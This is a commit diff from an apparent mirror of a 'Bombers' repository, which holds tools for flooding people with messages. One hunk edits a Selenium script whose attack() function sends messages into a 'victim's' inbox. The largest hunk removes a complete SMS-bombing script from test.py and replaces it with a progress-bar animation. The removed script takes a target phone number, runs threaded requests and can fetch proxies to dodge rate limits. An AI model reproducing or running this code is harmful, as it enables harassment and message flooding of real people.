mirror of
https://github.com/bhattsameer/Bombers.git
synced 2023-08-10 21:12:53 +03:00
update commit
This commit is contained in:
parent
fa324a112b
commit
c742bbc20c
@ -6,6 +6,7 @@ from selenium.webdriver.support.ui import WebDriverWait
|
|||||||
from selenium.webdriver.common.by import By
|
from selenium.webdriver.common.by import By
|
||||||
from selenium.webdriver.support import expected_conditions as EC
|
from selenium.webdriver.support import expected_conditions as EC
|
||||||
import time
|
import time
|
||||||
|
import sys
|
||||||
from selenium.webdriver.chrome.options import Options
|
from selenium.webdriver.chrome.options import Options
|
||||||
|
|
||||||
|
|
||||||
@ -69,7 +70,6 @@ def attack():
|
|||||||
## GET MESSAGE INBOX ###
|
## GET MESSAGE INBOX ###
|
||||||
messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]')
|
messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]')
|
||||||
messageLink.click()
|
messageLink.click()
|
||||||
driver.minimize_window()
|
|
||||||
|
|
||||||
#### SEND MESSAGE IN VICTIMS INBOX ###
|
#### SEND MESSAGE IN VICTIMS INBOX ###
|
||||||
|
|
||||||
|
4
debug.log
Normal file
4
debug.log
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
[0929/005058.248:ERROR:process_reader_win.cc(123)] NtOpenThread: {Access Denied} A process has requested access to an object, but has not been granted those access rights. (0xc0000022)
|
||||||
|
[0929/005058.253:ERROR:process_reader_win.cc(123)] NtOpenThread: {Access Denied} A process has requested access to an object, but has not been granted those access rights. (0xc0000022)
|
||||||
|
[0929/005058.595:ERROR:exception_snapshot_win.cc(99)] thread ID 17208 not found in process
|
||||||
|
[0929/005058.596:ERROR:exception_snapshot_win.cc(99)] thread ID 22040 not found in process
|
103
test.py
103
test.py
@ -1,99 +1,14 @@
|
|||||||
|
import sys
|
||||||
#!/usr/bin/python3
|
|
||||||
|
|
||||||
import requests
|
|
||||||
import argparse
|
|
||||||
from concurrent.futures import ThreadPoolExecutor
|
|
||||||
import json
|
|
||||||
import time
|
import time
|
||||||
from Provider import Provider
|
|
||||||
|
|
||||||
# args
|
print("Loading:")
|
||||||
|
|
||||||
parser = argparse.ArgumentParser()
|
#animation = ["10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"]
|
||||||
parser.add_argument('target', metavar='TARGET', type=lambda value: (_ for _ in ()).throw(argparse.ArgumentTypeError(f'{value} is an invalid mobile number')) if len(value) != 10 else value,
|
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
|
||||||
help='Target mobile number without country code')
|
|
||||||
parser.add_argument('--sms', '-S', type=int,
|
|
||||||
help='Number of sms to target (default: 20)', default=20)
|
|
||||||
parser.add_argument('--country', '-c', type=int,
|
|
||||||
help='Country code without (+) sign (default: 91)', default=91)
|
|
||||||
parser.add_argument('--threads', '-T', type=int,
|
|
||||||
help='Max number of concurrent HTTP(s) requests (default: 20)', default=20)
|
|
||||||
parser.add_argument('--proxy', '-p', action='store_true',
|
|
||||||
help='Use proxy for bombing (It is advisable to use this option if you are bombing more than 50 sms)')
|
|
||||||
parser.add_argument('--verbose', '-v', action='store_true',
|
|
||||||
help='Verbose')
|
|
||||||
parser.add_argument('--verify', '-V', action='store_true',
|
|
||||||
help='To verify all providers are working or not')
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
# config loading
|
for i in range(len(animation)):
|
||||||
target = str(args.target)
|
time.sleep(0.2)
|
||||||
no_of_threads = args.threads
|
sys.stdout.write("\r" + animation[i % len(animation)])
|
||||||
no_of_sms = args.sms
|
sys.stdout.flush()
|
||||||
fails, success = 0, 0
|
|
||||||
not args.verbose and not args.verify and print(
|
|
||||||
f'Target: {target} | Threads: {no_of_threads} | SMS: {no_of_sms}')
|
|
||||||
|
|
||||||
# proxy setup
|
print("\n")
|
||||||
# https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true
|
|
||||||
|
|
||||||
|
|
||||||
def get_proxy():
|
|
||||||
args.verbose and print('Gethering proxy...')
|
|
||||||
curl = requests.get(
|
|
||||||
'https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true').text
|
|
||||||
if 'limit' in curl:
|
|
||||||
print('Proxy limitation error. Try without `-p` or `--proxy` argument')
|
|
||||||
exit()
|
|
||||||
args.verbose and print(f'Using Proxy: {curl}')
|
|
||||||
return {"http": curl, "https": curl}
|
|
||||||
|
|
||||||
|
|
||||||
proxies = get_proxy() if args.proxy else False
|
|
||||||
# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
|
|
||||||
|
|
||||||
# bomber function
|
|
||||||
|
|
||||||
|
|
||||||
def bomber(p):
|
|
||||||
global fails, success, no_of_sms
|
|
||||||
if not args.verify and p is None or success > no_of_sms:
|
|
||||||
return
|
|
||||||
elif not p.done:
|
|
||||||
try:
|
|
||||||
p.start()
|
|
||||||
if p.status():
|
|
||||||
success += 1
|
|
||||||
else:
|
|
||||||
fails += 1
|
|
||||||
except:
|
|
||||||
fails += 1
|
|
||||||
args.verbose or args.verify and print(
|
|
||||||
'{:12}: error'.format(p.config['name']))
|
|
||||||
not args.verbose and not args.verify and print(
|
|
||||||
f'Bombing : {success+fails}/{no_of_sms} | Success: {success} | Failed: {fails}', end='\r')
|
|
||||||
|
|
||||||
|
|
||||||
# threadsssss
|
|
||||||
start = time.time()
|
|
||||||
if args.verify:
|
|
||||||
providers = json.load(open('config.json', 'r'))['providers']
|
|
||||||
pall = [p for x in providers.values() for p in x]
|
|
||||||
with ThreadPoolExecutor(max_workers=len(pall)) as executor:
|
|
||||||
for config in pall:
|
|
||||||
executor.submit(bomber, Provider(target, proxy=proxies,
|
|
||||||
verbose=True, cc=str(args.country), config=config))
|
|
||||||
print(f'Total {len(pall)} providers available')
|
|
||||||
else:
|
|
||||||
with ThreadPoolExecutor(max_workers=no_of_threads) as executor:
|
|
||||||
for i in range(no_of_sms):
|
|
||||||
p = Provider(target, proxy=proxies,
|
|
||||||
verbose=args.verbose, cc=str(args.country))
|
|
||||||
executor.submit(bomber, p)
|
|
||||||
end = time.time()
|
|
||||||
|
|
||||||
|
|
||||||
# finalize
|
|
||||||
print(f'\nSuccess: {success} | Failed: {fails}')
|
|
||||||
print(f'Took {end-start:.2f}s to complete')
|
|
Loading…
Reference in New Issue
Block a user